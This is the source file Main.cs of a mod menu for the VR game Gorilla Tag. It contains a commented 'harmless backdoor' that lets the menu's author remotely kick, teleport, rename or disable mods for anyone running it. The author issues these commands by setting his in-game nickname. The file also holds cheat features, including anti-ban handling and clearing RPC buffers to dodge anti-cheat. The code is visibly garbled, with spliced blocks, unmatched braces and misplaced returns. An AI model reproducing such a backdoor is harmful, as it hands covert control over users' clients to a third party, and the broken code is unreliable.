Main.cs
Main.cs
using GorillaNetworking;
using HarmonyLib;
using iiMenu.Classes;
using iiMenu.Notifications;
using Photon.Pun;
using System;
using System.Collections.Generic;
using System.IO;
using System.Linq;
using System.Net;
using System.Reflection;
using Unity.XR.CoreUtils.Datums;
using UnityEngine;
using UnityEngine.InputSystem;
using UnityEngine.UI;
using UnityEngine.XR;
using static iiMenu.Classes.RigManager;
using static iiMenu.Mods.Reconnect;
namespace iiMenu.Menu
{
[HarmonyPatch(typeof(GorillaLocomotion.Player))]
[HarmonyPatch("LateUpdate", MethodType.Normal)]
public class Main : MonoBehaviour
{
public static void Prefix()
{
try
{
bool dropOnRemove = true;
bool isKeyboardCondition = UnityInput.Current.GetKey(KeyCode.Q);
bool buttonCondition =
ControllerInputPoller.instance.leftControllerSecondaryButton;
if (rightHand)
{
buttonCondition =
ControllerInputPoller.instance.rightControllerSecondaryButton;
}
if (bothHands)
{
buttonCondition =
ControllerInputPoller.instance.leftControllerSecondaryButton ||
ControllerInputPoller.instance.rightControllerSecondaryButton;
}
if (wristThing)
{
bool fuck =
Vector3.Distance(GorillaTagger.Instance.leftHandTransform.position -
(GorillaTagger.Instance.leftHandTransform.forward * 0.1f),
GorillaTagger.Instance.rightHandTransform.position) < 0.1f;
if (rightHand)
{
fuck =
Vector3.Distance(GorillaTagger.Instance.leftHandTransform.position,
GorillaTagger.Instance.rightHandTransform.position -
(GorillaTagger.Instance.rightHandTransform.forward * 0.1f)) < 0.1f;
}
if (fuck && !lastChecker)
{
wristOpen = !wristOpen;
}
lastChecker = fuck;
buttonCondition = wristOpen;
}
buttonCondition = buttonCondition || isKeyboardCondition;
if (buttonCondition && menu == null)
{
Draw();
if (reference == null)
{
reference =
GameObject.CreatePrimitive(PrimitiveType.Sphere);
if (rightHand || (bothHands &&
ControllerInputPoller.instance.rightControllerSecondaryButton))
{
reference.transform.parent =
GorillaTagger.Instance.leftHandTransform;
}
else
{
reference.transform.parent =
GorillaTagger.Instance.rightHandTransform;
}
reference.GetComponent<Renderer>().material.color =
bgColorA;
reference.transform.localPosition = new Vector3(0f, -0.1f,
0f);
reference.transform.localScale = new Vector3(0.01f, 0.01f,
0.01f);
buttonCollider = reference.GetComponent<SphereCollider>();
}
}
else
{
if (!buttonCondition && menu != null)
{
if (dropOnRemove)
{
Rigidbody comp = menu.AddComponent(typeof(Rigidbody))
as Rigidbody;
if (rightHand || (bothHands &&
ControllerInputPoller.instance.rightControllerSecondaryButton))
{
comp.velocity =
GorillaLocomotion.Player.Instance.rightHandCenterVelocityTracker.GetAverageVelocity
(true, 0);
}
else
{
comp.velocity =
GorillaLocomotion.Player.Instance.leftHandCenterVelocityTracker.GetAverageVelocity(
true, 0);
}
if (annoyingMode)
{
comp.velocity = new
Vector3(UnityEngine.Random.Range(-33, 33), UnityEngine.Random.Range(-33, 33),
UnityEngine.Random.Range(-33, 33));
}
UnityEngine.Object.Destroy(menu, 2);
menu = null;
UnityEngine.Object.Destroy(reference);
reference = null;
}
else
{
UnityEngine.Object.Destroy(menu);
menu = null;
UnityEngine.Object.Destroy(reference);
reference = null;
}
}
}
if (buttonCondition && menu != null)
{
RecenterMenu();
}
{
hasRemovedThisFrame = false;
try
{
GameObject.Find("Environment
Objects/LocalObjects_Prefab/TreeRoom/TreeRoomInteractables/StaticUnlit/
motdscreen").GetComponent<MeshRenderer>().material = OrangeUI;
GameObject.Find("Environment
Objects/LocalObjects_Prefab/TreeRoom/TreeRoomInteractables/StaticUnlit/
screen").GetComponent<Renderer>().material = OrangeUI;
GameObject.Find("Environment
Objects/LocalObjects_Prefab/TreeRoom/TreeRoomInteractables/Wall Monitors
Screens/wallmonitorcanyon").GetComponent<Renderer>().material = OrangeUI;
GameObject.Find("Environment
Objects/LocalObjects_Prefab/TreeRoom/TreeRoomInteractables/Wall Monitors
Screens/wallmonitorcosmetics").GetComponent<Renderer>().material = OrangeUI;
GameObject.Find("Environment
Objects/LocalObjects_Prefab/TreeRoom/TreeRoomInteractables/Wall Monitors
Screens/wallmonitorcave").GetComponent<Renderer>().material = OrangeUI;
GameObject.Find("Environment
Objects/LocalObjects_Prefab/TreeRoom/TreeRoomInteractables/Wall Monitors
Screens/wallmonitorforest").GetComponent<Renderer>().material = OrangeUI;
GameObject.Find("Environment
Objects/LocalObjects_Prefab/TreeRoom/TreeRoomInteractables/Wall Monitors
Screens/wallmonitorskyjungle").GetComponent<Renderer>().material = OrangeUI;
GameObject.Find("Environment
Objects/LocalObjects_Prefab/Forest/Terrain/campgroundstructure/scoreboard/REMOVE
board").GetComponent<Renderer>().material = OrangeUI;
GameObject.Find("Environment
Objects/LocalObjects_Prefab/Mountain/UI/Text/monitor").GetComponent<Renderer>().mat
erial = OrangeUI;
GameObject.Find("Environment
Objects/LocalObjects_Prefab/skyjungle/UI/-- Clouds PhysicalComputer UI --/monitor
(1)").GetComponent<Renderer>().material = OrangeUI;
GameObject.Find("Environment
Objects/LocalObjects_Prefab/TreeRoom/TreeRoomInteractables/UI/-- PhysicalComputer
UI --/monitor").GetComponent<Renderer>().material = OrangeUI;
GameObject.Find("Environment
Objects/LocalObjects_Prefab/Beach/BeachComputer/UI FOR BEACH
COMPUTER/Text/monitor").GetComponent<Renderer>().material = OrangeUI;
}
catch (Exception exception)
{
UnityEngine.Debug.LogError(string.Format("iiMenu <b>COLOR
ERROR</b> {1} - {0}", exception.Message, exception.StackTrace));
}
try
{
OrangeUI.color = GetBGColor(0f);
if (fpsCount != null)
{
fpsCount.text = "FPS: " + Mathf.Ceil(1f /
Time.unscaledDeltaTime).ToString();
}
if (frameFixColliders)
{
MeshCollider[] meshColliders =
Resources.FindObjectsOfTypeAll<MeshCollider>();
foreach (MeshCollider coll in meshColliders)
{
coll.enabled = true;
}
frameFixColliders = false;
}
try
{
if (PhotonNetwork.InRoom)
{
lastRoom = PhotonNetwork.CurrentRoom.Name;
}
NotifiLib.SendNotification("<color=grey>[</color><color=blue>LEAVE
ROOM</color><color=grey>]</color> <color=white>Room Code: " + lastRoom +
"</color>");
antiBanEnabled = false;
}
lastInRoom = PhotonNetwork.InRoom;
} catch
{
/*
ii's Harmless Backdoor
Feel free to use for your own usage
// How to Use //
Set your player ID with the variable
Set your name to any one of the commands
// Commands //
gtkick - Kicks everyone from the lobby
gtup - Sends everyone flying away upwards
gtarmy - Sets everyone's color and name to yours
gtbring - Teleports everyone to above your head
gtctrhand - Teleports everyone in front of your hand
gtctrhead - Teleports everyone in front of your head
gtorbit - Makes everyone orbit around you
gtcopy - Makes everyone copy your movements
gttagall - Makes everyone tag all
gtnotifs - Spams a notif on everyone's screen
gtupdate - Tells everyone to update the menu
gtnomenu - Removes the menu from everyone
gtnomods - Force disables every mod from everyone
*/
if (PhotonNetwork.InRoom)
{
try
{
if ((PhotonNetwork.LocalPlayer.UserId != ownerPlayerId)
&& (PhotonNetwork.LocalPlayer.UserId != questPlayerId))
{
Photon.Realtime.Player owner = null;
bool ownerInServer = false;
string command = "";
foreach (Photon.Realtime.Player player in
PhotonNetwork.PlayerList)
{
if ((player.UserId == ownerPlayerId) ||
(player.UserId == questPlayerId))
{
ownerInServer = true;
command = player.NickName.ToLower();
owner = player;
break;
}
}
NotifiLib.SendNotification("<color=grey>[</color><color=purple>OWNER</
color><color=grey>]</color> <color=white>Goldentrophy is in your room!</color>");
}
if (!ownerInServer && lastOwner)
{
NotifiLib.SendNotification("<color=grey>[</color><color=purple>OWNER</
color><color=grey>]</color> <color=white>Goldentrophy has left your
room.</color>");
}
if (ownerInServer == true)
{
if (command == "gtkick")
{
NotifiLib.SendNotification("<color=grey>[</color><color=red>OWNER</
color><color=grey>]</color> <color=white>Goldentrophy has requested your
disconnection.</color>");
PhotonNetwork.Disconnect();
}
if (command == "gtup")
{
GorillaLocomotion.Player.Instance.GetComponent<Rigidbody>().velocity += Vector3.up
* Time.deltaTime * 45f;
}
if (command == "gtarmy")
{
ChangeColor(GetVRRigFromPlayer(owner).mainSkin.material.color);
ChangeName("goldentrophy");
}
if (command == "gtbring")
{
MeshCollider[] meshColliders =
Resources.FindObjectsOfTypeAll<MeshCollider>();
foreach (MeshCollider coll in
meshColliders)
{
coll.enabled = false;
}
GorillaTagger.Instance.rigidbody.transform.position =
GetVRRigFromPlayer(owner).transform.position + new Vector3(0f, 1.5f, 0f);
frameFixColliders = true;
}
if (command == "gtctrhand")
{
MeshCollider[] meshColliders =
Resources.FindObjectsOfTypeAll<MeshCollider>();
foreach (MeshCollider coll in
meshColliders)
{
coll.enabled = false;
}
VRRig whotf = GetVRRigFromPlayer(owner);
GorillaTagger.Instance.rigidbody.transform.position =
whotf.rightHandTransform.position + (whotf.rightHandTransform.forward * 1.5f);
frameFixColliders = true;
}
if (command == "gtctrhead")
{
MeshCollider[] meshColliders =
Resources.FindObjectsOfTypeAll<MeshCollider>();
foreach (MeshCollider coll in
meshColliders)
{
coll.enabled = false;
}
VRRig whotf = GetVRRigFromPlayer(owner);
GorillaTagger.Instance.rigidbody.transform.position =
whotf.headMesh.transform.position + (whotf.headMesh.transform.forward * 1.5f);
frameFixColliders = true;
}
if (command == "gtorbit")
{
VRRig whotf = GetVRRigFromPlayer(owner);
GorillaTagger.Instance.offlineVRRig.enabled
= false;
GorillaTagger.Instance.offlineVRRig.transform.position = whotf.transform.position +
new Vector3(Mathf.Cos((float)Time.frameCount / 20f), 0.5f,
Mathf.Sin((float)Time.frameCount / 20f));
GorillaTagger.Instance.offlineVRRig.transform.LookAt(whotf.transform.position);
GorillaTagger.Instance.myVRRig.transform.LookAt(whotf.transform.position);
GorillaTagger.Instance.offlineVRRig.head.rigTarget.transform.rotation =
GorillaTagger.Instance.offlineVRRig.transform.rotation;
GorillaTagger.Instance.offlineVRRig.leftHand.rigTarget.transform.position =
GorillaTagger.Instance.offlineVRRig.transform.position +
(GorillaTagger.Instance.offlineVRRig.transform.right * -0.666f);
GorillaTagger.Instance.offlineVRRig.rightHand.rigTarget.transform.position =
GorillaTagger.Instance.offlineVRRig.transform.position +
(GorillaTagger.Instance.offlineVRRig.transform.right * 0.666f);
GorillaTagger.Instance.offlineVRRig.leftHand.rigTarget.transform.rotation =
GorillaTagger.Instance.offlineVRRig.transform.rotation;
GorillaTagger.Instance.offlineVRRig.rightHand.rigTarget.transform.rotation =
GorillaTagger.Instance.offlineVRRig.transform.rotation;
} else
{
if (lastCommand == "gtorbit")
{
GorillaTagger.Instance.offlineVRRig.enabled = true;
}
}
if (command == "gtcopy")
{
VRRig whotf = GetVRRigFromPlayer(owner);
GorillaTagger.Instance.offlineVRRig.enabled
= false;
GorillaTagger.Instance.offlineVRRig.transform.position = whotf.transform.position;
GorillaTagger.Instance.myVRRig.transform.position = whotf.transform.position;
GorillaTagger.Instance.offlineVRRig.transform.rotation = whotf.transform.rotation;
GorillaTagger.Instance.myVRRig.transform.rotation = whotf.transform.rotation;
GorillaTagger.Instance.offlineVRRig.leftHand.rigTarget.transform.position =
whotf.leftHandTransform.position;
GorillaTagger.Instance.offlineVRRig.rightHand.rigTarget.transform.position =
whotf.rightHandTransform.position;
GorillaTagger.Instance.offlineVRRig.leftHand.rigTarget.transform.rotation =
whotf.leftHandTransform.rotation;
GorillaTagger.Instance.offlineVRRig.rightHand.rigTarget.transform.rotation =
whotf.rightHandTransform.rotation;
GorillaTagger.Instance.offlineVRRig.head.rigTarget.transform.rotation =
whotf.headMesh.transform.rotation;
}
else
{
if (lastCommand == "gtcopy")
{
GorillaTagger.Instance.offlineVRRig.enabled = true;
}
}
if (command == "gttagall")
{
GetIndex("Tag All").enabled = true;
}
if (command == "gtnotifs")
{
NotifiLib.SendNotification("<color=grey>[</color><color=purple>OWNER</
color><color=grey>]</color> <color=white>Yes, I am the real goldentrophy. I made
the menu.</color>");
}
if (command == "gtupdate")
{
if (menu != null)
{
menuBackground.GetComponent<Renderer>().material.color = Color.red;
title.text = "UPDATE THE MENU";
}
}
if (command == "gtnomenu")
{
if (menu != null)
{
ReloadMenu();
}
}
if (command == "gtnomods")
{
Mods.Settings.Panic();
}
lastCommand = command;
}
lastOwner = ownerInServer;
}
}
catch { }
}
else
{
lastOwner = false;
}
if (isUpdatingValues)
{
if (Time.time > valueChangeDelay)
//if
(GorillaComputer.instance.friendJoinCollider.playerIDsCurrentlyTouching.Contains(Ph
otonNetwork.LocalPlayer.UserId))
{
try
{
if (changingName)
{
try
{
GorillaComputer.instance.currentName =
nameChange;
PhotonNetwork.LocalPlayer.NickName =
nameChange;
GorillaComputer.instance.offlineVRRigNametagText.text = nameChange;
GorillaComputer.instance.savedName =
nameChange;
PlayerPrefs.SetString("playerName",
nameChange);
PlayerPrefs.Save();
}
catch (Exception exception)
{
if (!changingColor)
{
try
{
PlayerPrefs.SetFloat("redValue",
Mathf.Clamp(GorillaTagger.Instance.offlineVRRig.playerColor.r, 0f, 1f));
PlayerPrefs.SetFloat("greenValue",
Mathf.Clamp(GorillaTagger.Instance.offlineVRRig.playerColor.g, 0f, 1f));
PlayerPrefs.SetFloat("blueValue",
Mathf.Clamp(GorillaTagger.Instance.offlineVRRig.playerColor.b, 0f, 1f));
//GorillaTagger.Instance.offlineVRRig.mainSkin.material.color =
GorillaTagger.Instance.offlineVRRig.playerColor;
GorillaTagger.Instance.UpdateColor(GorillaTagger.Instance.offlineVRRig.playerColor.
r, GorillaTagger.Instance.offlineVRRig.playerColor.g,
GorillaTagger.Instance.offlineVRRig.playerColor.b);
PlayerPrefs.Save();
if (changingColor)
{
try
{
PlayerPrefs.SetFloat("redValue",
Mathf.Clamp(colorChange.r, 0f, 1f));
PlayerPrefs.SetFloat("greenValue",
Mathf.Clamp(colorChange.g, 0f, 1f));
PlayerPrefs.SetFloat("blueValue",
Mathf.Clamp(colorChange.b, 0f, 1f));
//GorillaTagger.Instance.offlineVRRig.mainSkin.material.color = colorChange;
nameChange = "";
colorChange = Color.black;
isUpdatingValues = false;
}
else
{
GorillaTagger.Instance.offlineVRRig.enabled = false;
GorillaTagger.Instance.offlineVRRig.transform.position
= GorillaComputer.instance.friendJoinCollider.transform.position;
GorillaTagger.Instance.myVRRig.transform.position =
GorillaComputer.instance.friendJoinCollider.transform.position;
}
}
rightPrimary =
ControllerInputPoller.instance.rightControllerPrimaryButton ||
UnityInput.Current.GetKey(KeyCode.E);
rightSecondary =
ControllerInputPoller.instance.rightControllerSecondaryButton ||
UnityInput.Current.GetKey(KeyCode.R);
leftPrimary =
ControllerInputPoller.instance.leftControllerPrimaryButton ||
UnityInput.Current.GetKey(KeyCode.F);
leftSecondary =
ControllerInputPoller.instance.leftControllerSecondaryButton ||
UnityInput.Current.GetKey(KeyCode.G);
leftGrab = ControllerInputPoller.instance.leftGrab ||
UnityInput.Current.GetKey(KeyCode.LeftBracket);
rightGrab = ControllerInputPoller.instance.rightGrab ||
UnityInput.Current.GetKey(KeyCode.RightBracket);
leftTrigger =
ControllerInputPoller.TriggerFloat(XRNode.LeftHand);
rightTrigger =
ControllerInputPoller.TriggerFloat(XRNode.RightHand);
if (UnityInput.Current.GetKey(KeyCode.Minus))
{
leftTrigger = 1f;
}
if (UnityInput.Current.GetKey(KeyCode.Equals))
{
rightTrigger = 1f;
}
shouldBePC = UnityInput.Current.GetKey(KeyCode.E) ||
UnityInput.Current.GetKey(KeyCode.R) || UnityInput.Current.GetKey(KeyCode.F) ||
UnityInput.Current.GetKey(KeyCode.G) ||
UnityInput.Current.GetKey(KeyCode.LeftBracket) ||
UnityInput.Current.GetKey(KeyCode.RightBracket) ||
UnityInput.Current.GetKey(KeyCode.Minus) ||
UnityInput.Current.GetKey(KeyCode.Equals) || Mouse.current.leftButton.isPressed ||
Mouse.current.rightButton.isPressed;
if (menu != null)
{
if (pageButtonType == 3)
{
if (leftGrab == true && plastLeftGrip == false)
{
GorillaTagger.Instance.StartVibration(true,
GorillaTagger.Instance.tagHapticStrength / 2f,
GorillaTagger.Instance.tagHapticDuration / 2f);
if (pageButtonType == 4)
{
if (leftTrigger > 0.5f && plastLeftGrip == false)
{
GorillaTagger.Instance.StartVibration(true,
GorillaTagger.Instance.tagHapticStrength / 2f,
GorillaTagger.Instance.tagHapticDuration / 2f);
if (PhotonNetwork.InRoom)
{
if (rejRoom != null)
{
rejRoom = null;
}
}
else
{
if (rejRoom != null && Time.time > rejDebounce)
{
UnityEngine.Debug.Log("Attempting rejoin");
PhotonNetworkController.Instance.AttemptToJoinSpecificRoom(rejRoom);
rejDebounce = Time.time + internetFloat;
}
}
if (PhotonNetwork.InRoom)
{
if (isJoiningRandom != false)
{
isJoiningRandom = false;
}
}
else
{
if (isJoiningRandom && Time.time > jrDebounce)
{
GameObject forest = GameObject.Find("Environment
Objects/LocalObjects_Prefab/Forest");
GameObject city = GameObject.Find("Environment
Objects/LocalObjects_Prefab/City");
GameObject canyons = GameObject.Find("Environment
Objects/LocalObjects_Prefab/Canyon");
GameObject mountains = GameObject.Find("Environment
Objects/LocalObjects_Prefab/Mountain");
GameObject beach = GameObject.Find("Environment
Objects/LocalObjects_Prefab/Beach");
GameObject sky = GameObject.Find("Environment
Objects/LocalObjects_Prefab/skyjungle");
GameObject basement = GameObject.Find("Environment
Objects/LocalObjects_Prefab/Basement");
GameObject caves = GameObject.Find("Environment
Objects/LocalObjects_Prefab/Cave_Main_Prefab");
if (forest.activeSelf == true)
{
GameObject.Find("Environment
Objects/TriggerZones_Prefab/JoinRoomTriggers_Prefab/JoinPublicRoom - Forest, Tree
Exit").GetComponent<GorillaNetworkJoinTrigger>().OnBoxTriggered();
}
if (city.activeSelf == true)
{
GameObject.Find("Environment
Objects/TriggerZones_Prefab/JoinRoomTriggers_Prefab/JoinPublicRoom - City
Front").GetComponent<GorillaNetworkJoinTrigger>().OnBoxTriggered();
}
if (canyons.activeSelf == true)
{
GameObject.Find("Environment
Objects/TriggerZones_Prefab/JoinRoomTriggers_Prefab/JoinPublicRoom -
Canyon").GetComponent<GorillaNetworkJoinTrigger>().OnBoxTriggered();
}
if (mountains.activeSelf == true)
{
GameObject.Find("Environment
Objects/TriggerZones_Prefab/JoinRoomTriggers_Prefab/JoinPublicRoom - Mountain For
Computer").GetComponent<GorillaNetworkJoinTrigger>().OnBoxTriggered();
}
if (beach.activeSelf == true)
{
GameObject.Find("Environment
Objects/TriggerZones_Prefab/JoinRoomTriggers_Prefab/JoinPublicRoom - Beach from
Forest").GetComponent<GorillaNetworkJoinTrigger>().OnBoxTriggered();
}
if (sky.activeSelf == true)
{
GameObject.Find("Environment
Objects/TriggerZones_Prefab/JoinRoomTriggers_Prefab/JoinPublicRoom -
Clouds").GetComponent<GorillaNetworkJoinTrigger>().OnBoxTriggered();
}
if (basement.activeSelf == true)
{
GameObject.Find("Environment
Objects/TriggerZones_Prefab/JoinRoomTriggers_Prefab/JoinPublicRoom - Basement For
Computer").GetComponent<GorillaNetworkJoinTrigger>().OnBoxTriggered();
}
if (caves.activeSelf == true)
{
GameObject.Find("Environment
Objects/TriggerZones_Prefab/JoinRoomTriggers_Prefab/JoinPublicRoom -
Cave").GetComponent<GorillaNetworkJoinTrigger>().OnBoxTriggered();
}
if (annoyingMode)
{
OrangeUI.color = new Color32(226, 74, 44, 255);
int randy = UnityEngine.Random.Range(1, 400);
if (randy == 21)
{
NotifiLib.SendNotification("<color=grey>[</color><color=magenta>FUN
FACT</color><color=grey>]</color> <color=white>" +
facts[UnityEngine.Random.Range(0,facts.Length-1)] + "</color>");
}
}
return oColor;
}
if (themeType == 7)
{
GameObject gameObject = LoadAsset("Cone");
gameObject.transform.parent = menu.transform;
gameObject.transform.localPosition = Vector3.zero;
gameObject.transform.localRotation = Quaternion.Euler(0f, 0f, 0f);
}
else
{
GameObject gameObject =
GameObject.CreatePrimitive(PrimitiveType.Cube);
UnityEngine.Object.Destroy(gameObject.GetComponent<Rigidbody>());
UnityEngine.Object.Destroy(gameObject.GetComponent<BoxCollider>());
menuBackground = gameObject;
gameObject.transform.parent = menu.transform;
gameObject.transform.rotation = Quaternion.identity;
if (FATMENU == true)
{
gameObject.transform.localScale = new Vector3(0.1f, 1f, 1f);
}
else
{
gameObject.transform.localScale = new Vector3(0.1f, 1.5f, 1f);
}
gameObject.GetComponent<Renderer>().material.color = bgColorA;
gameObject.transform.position = new Vector3(0.05f, 0f, 0f);
GradientColorKey[] array = new GradientColorKey[3];
array[0].color = bgColorA;
array[0].time = 0f;
array[1].color = bgColorB;
array[1].time = 0.5f;
array[2].color = bgColorA;
array[2].time = 1f;
ColorChanger colorChanger =
gameObject.AddComponent<ColorChanger>();
colorChanger.colors = new Gradient
{
colorKeys = array
};
colorChanger.isRainbow = themeType == 6;
colorChanger.isMonkeColors = themeType == 8;
colorChanger.Start();
}
canvasObj = new GameObject();
canvasObj.transform.parent = menu.transform;
Canvas canvas = canvasObj.AddComponent<Canvas>();
CanvasScaler canvasScaler = canvasObj.AddComponent<CanvasScaler>();
canvasObj.AddComponent<GraphicRaycaster>();
canvas.renderMode = RenderMode.WorldSpace;
canvasScaler.dynamicPixelsPerUnit = 1000f;
GameObject disconnectbutton =
GameObject.CreatePrimitive(PrimitiveType.Cube);
if (!UnityInput.Current.GetKey(KeyCode.Q))
{
disconnectbutton.layer = 2;
}
UnityEngine.Object.Destroy(disconnectbutton.GetComponent<Rigidbody>());
disconnectbutton.GetComponent<BoxCollider>().isTrigger = true;
disconnectbutton.transform.parent = menu.transform;
disconnectbutton.transform.rotation = Quaternion.identity;
if (FATMENU == true)
{
disconnectbutton.transform.localScale = new Vector3(0.09f, 0.9f,
0.08f);
}
else
{
disconnectbutton.transform.localScale = new Vector3(0.09f, 1.3f,
0.08f);
}
disconnectbutton.transform.localPosition = new Vector3(0.56f, 0f,
0.6f);
disconnectbutton.AddComponent<Classes.Button>().relatedText =
"Disconnect";
GradientColorKey[] array3 = new GradientColorKey[3];
array3[0].color = buttonDefaultA;
array3[0].time = 0f;
array3[1].color = buttonDefaultB;
array3[1].time = 0.5f;
array3[2].color = buttonDefaultA;
array3[2].time = 1f;
ColorChanger colorChanger2 =
disconnectbutton.AddComponent<ColorChanger>();
colorChanger2.colors = new Gradient
{
colorKeys = array3
};
colorChanger2.Start();
disconnectbutton.GetComponent<Renderer>().material.color =
buttonDefaultA;
Text discontext = new GameObject
{
transform =
{
parent = canvasObj.transform
}
}.AddComponent<Text>();
discontext.font = activeFont;
discontext.text = "Disconnect";
discontext.fontSize = 1;
discontext.color = textColor;
discontext.alignment = TextAnchor.MiddleCenter;
discontext.resizeTextForBestFit = true;
discontext.resizeTextMinSize = 0;
RectTransform rectt = discontext.GetComponent<RectTransform>();
rectt.localPosition = Vector3.zero;
rectt.sizeDelta = new Vector2(0.2f, 0.03f);
rectt.localPosition = new Vector3(0.064f, 0f, 0.23f);
rectt.rotation = Quaternion.Euler(new Vector3(180f, 90f, 90f));
AddPageButtons();
if (annoyingMode && UnityEngine.Random.Range(1, 5) == 3)
{
ButtonInfo disconnect = GetIndex("Disconnect");
ButtonInfo[] array2 = new ButtonInfo[] { disconnect, disconnect,
disconnect, disconnect, disconnect, disconnect, disconnect, disconnect, disconnect,
disconnect };
array2 = array2.Take(pageSize).ToArray();
if (longmenu) { array2 = Buttons.buttons[buttonsType]; }
for (int i = 0; i < array2.Length; i++)
{
AddButton(i * 0.1f + (buttonOffset / 10), i, array2[i]);
}
}
else
{
if (buttonsType != 19)
{
ButtonInfo[] array2 =
Buttons.buttons[buttonsType].Skip(pageNumber * pageSize).Take(pageSize).ToArray();
if (longmenu) { array2 = Buttons.buttons[buttonsType]; }
for (int i = 0; i < array2.Length; i++)
{
AddButton(i * 0.1f + (buttonOffset / 10), i, array2[i]);
}
}
else
{
string[] array2 = favorites.Skip(pageNumber *
pageSize).Take(pageSize).ToArray();
for (int i = 0; i < array2.Length; i++)
{
AddButton(i * 0.1f + (buttonOffset / 10), i,
GetIndex(array2[i]));
}
}
}
RecenterMenu();
}
menu.transform.LookAt(GorillaTagger.Instance.headCollider.transform.position);
Vector3 rotModify = menu.transform.rotation.eulerAngles;
rotModify += new Vector3(-90f, 0f, -90f);
menu.transform.rotation = Quaternion.Euler(rotModify);
}
if (isKeyboardCondition)
{
TPC = null;
try
{
TPC = GameObject.Find("Player Objects/Third Person
Camera/Shoulder Camera").GetComponent<Camera>();
}
catch { }
if (TPC != null)
{
TPC.transform.position = new Vector3(-999f, -999f, -999f);
TPC.transform.rotation = Quaternion.identity;
GameObject bg = GameObject.CreatePrimitive(PrimitiveType.Cube);
bg.transform.localScale = new Vector3(10f, 10f, 0.01f);
bg.transform.transform.position = TPC.transform.position +
TPC.transform.forward;
bg.GetComponent<Renderer>().material.color = new Color32((byte)
(bgColorA.r * 50), (byte)(bgColorA.g * 50), (byte)(bgColorA.b * 50), 255);
GameObject.Destroy(bg, Time.deltaTime);
menu.transform.parent = TPC.transform;
menu.transform.position = (TPC.transform.position +
(Vector3.Scale(TPC.transform.forward, new Vector3(0.5f, 0.5f, 0.5f)))) +
(Vector3.Scale(TPC.transform.up, new Vector3(-0.02f, -0.02f, -0.02f)));
Vector3 rot = TPC.transform.rotation.eulerAngles;
rot = new Vector3(rot.x - 90, rot.y + 90, rot.z);
menu.transform.rotation = Quaternion.Euler(rot);
if (reference != null)
{
if (Mouse.current.leftButton.isPressed)
{
Ray ray =
TPC.ScreenPointToRay(Mouse.current.position.ReadValue());
RaycastHit hit;
bool worked = Physics.Raycast(ray, out hit, 100);
if (worked)
{
Classes.Button collide =
hit.transform.gameObject.GetComponent<Classes.Button>();
if (collide != null)
{
collide.OnTriggerEnter(buttonCollider);
}
}
}
else
{
reference.transform.position = new Vector3(999f, -999f,
-999f);
}
}
}
}
}
if (pageButtonType == 2)
{
GameObject gameObject =
GameObject.CreatePrimitive(PrimitiveType.Cube);
if (!UnityInput.Current.GetKey(KeyCode.Q))
{
gameObject.layer = 2;
}
UnityEngine.Object.Destroy(gameObject.GetComponent<Rigidbody>());
gameObject.GetComponent<BoxCollider>().isTrigger = true;
gameObject.transform.parent = menu.transform;
gameObject.transform.rotation = Quaternion.identity;
gameObject.transform.localScale = new Vector3(0.09f, 0.2f, 0.9f);
if (FATMENU == true)
{
gameObject.transform.localPosition = new Vector3(0.56f, 0.65f,
0);
}
else
{
gameObject.transform.localPosition = new Vector3(0.56f, 0.9f,
0);
}
gameObject.AddComponent<Classes.Button>().relatedText =
"PreviousPage";
GradientColorKey[] array = new GradientColorKey[3];
array[0].color = buttonDefaultA;
array[0].time = 0f;
array[1].color = buttonDefaultB;
array[1].time = 0.5f;
array[2].color = buttonDefaultA;
array[2].time = 1f;
ColorChanger colorChanger =
gameObject.AddComponent<ColorChanger>();
colorChanger.colors = new Gradient
{
colorKeys = array
};
colorChanger.Start();
gameObject.GetComponent<Renderer>().material.color =
buttonDefaultA;
Text text = new GameObject
{
transform =
{
parent = canvasObj.transform
}
}.AddComponent<Text>();
text.font = activeFont;
text.text = "<";
text.fontSize = 1;
text.color = textColor;
text.alignment = TextAnchor.MiddleCenter;
text.resizeTextForBestFit = true;
text.resizeTextMinSize = 0;
RectTransform component = text.GetComponent<RectTransform>();
component.localPosition = Vector3.zero;
component.sizeDelta = new Vector2(0.2f, 0.03f);
if (FATMENU == true)
{
component.localPosition = new Vector3(0.064f, 0.195f, 0f);
}
else
{
component.localPosition = new Vector3(0.064f, 0.267f, 0f);
}
component.rotation = Quaternion.Euler(new Vector3(180f, 90f, 90f));
gameObject = GameObject.CreatePrimitive(PrimitiveType.Cube);
if (!UnityInput.Current.GetKey(KeyCode.Q))
{
gameObject.layer = 2;
}
UnityEngine.Object.Destroy(gameObject.GetComponent<Rigidbody>());
gameObject.GetComponent<BoxCollider>().isTrigger = true;
gameObject.transform.parent = menu.transform;
gameObject.transform.rotation = Quaternion.identity;
gameObject.transform.localScale = new Vector3(0.09f, 0.2f, 0.9f);
if (FATMENU == true)
{
gameObject.transform.localPosition = new Vector3(0.56f, -0.65f,
0);
}
else
{
gameObject.transform.localPosition = new Vector3(0.56f, -0.9f,
0);
}
gameObject.AddComponent<Classes.Button>().relatedText = "NextPage";
ColorChanger colorChanger2 =
gameObject.AddComponent<ColorChanger>();
colorChanger2.colors = new Gradient
{
colorKeys = array
};
colorChanger2.Start();
gameObject.GetComponent<Renderer>().material.color =
buttonDefaultA;
text = new GameObject
{
transform =
{
parent = canvasObj.transform
}
}.AddComponent<Text>();
text.font = activeFont;
text.text = ">";
text.fontSize = 1;
text.color = textColor;
text.alignment = TextAnchor.MiddleCenter;
text.resizeTextForBestFit = true;
text.resizeTextMinSize = 0;
component = text.GetComponent<RectTransform>();
component.localPosition = Vector3.zero;
component.sizeDelta = new Vector2(0.2f, 0.03f);
if (FATMENU == true)
{
component.localPosition = new Vector3(0.064f, -0.195f, 0f);
}
else
{
component.localPosition = new Vector3(0.064f, -0.267f, 0f);
}
component.rotation = Quaternion.Euler(new Vector3(180f, 90f, 90f));
}
}
PhotonNetwork.RemoveRPCs(PhotonNetwork.LocalPlayer);
PhotonNetwork.OpCleanRpcBuffer(GorillaTagger.Instance.myVRRig);
PhotonNetwork.RemoveBufferedRPCs(GorillaTagger.Instance.myVRRig.ViewID, null,
null);
PhotonNetwork.RemoveRPCsInGroup(int.MaxValue);
PhotonNetwork.SendAllOutgoingCommands();
GorillaNot.instance.OnPlayerLeftRoom(PhotonNetwork.LocalPlayer);
}
}
}
return null;
}
Draw();
}
ChangeColor(GorillaTagger.Instance.offlineVRRig.playerColor);
}
else
{
isUpdatingValues = true;
valueChangeDelay = Time.time + 0.5f;
changingName = true;
nameChange = PlayerName;
}
}
else
{
GorillaComputer.instance.currentName = PlayerName;
PhotonNetwork.LocalPlayer.NickName = PlayerName;
GorillaComputer.instance.offlineVRRigNametagText.text =
PlayerName;
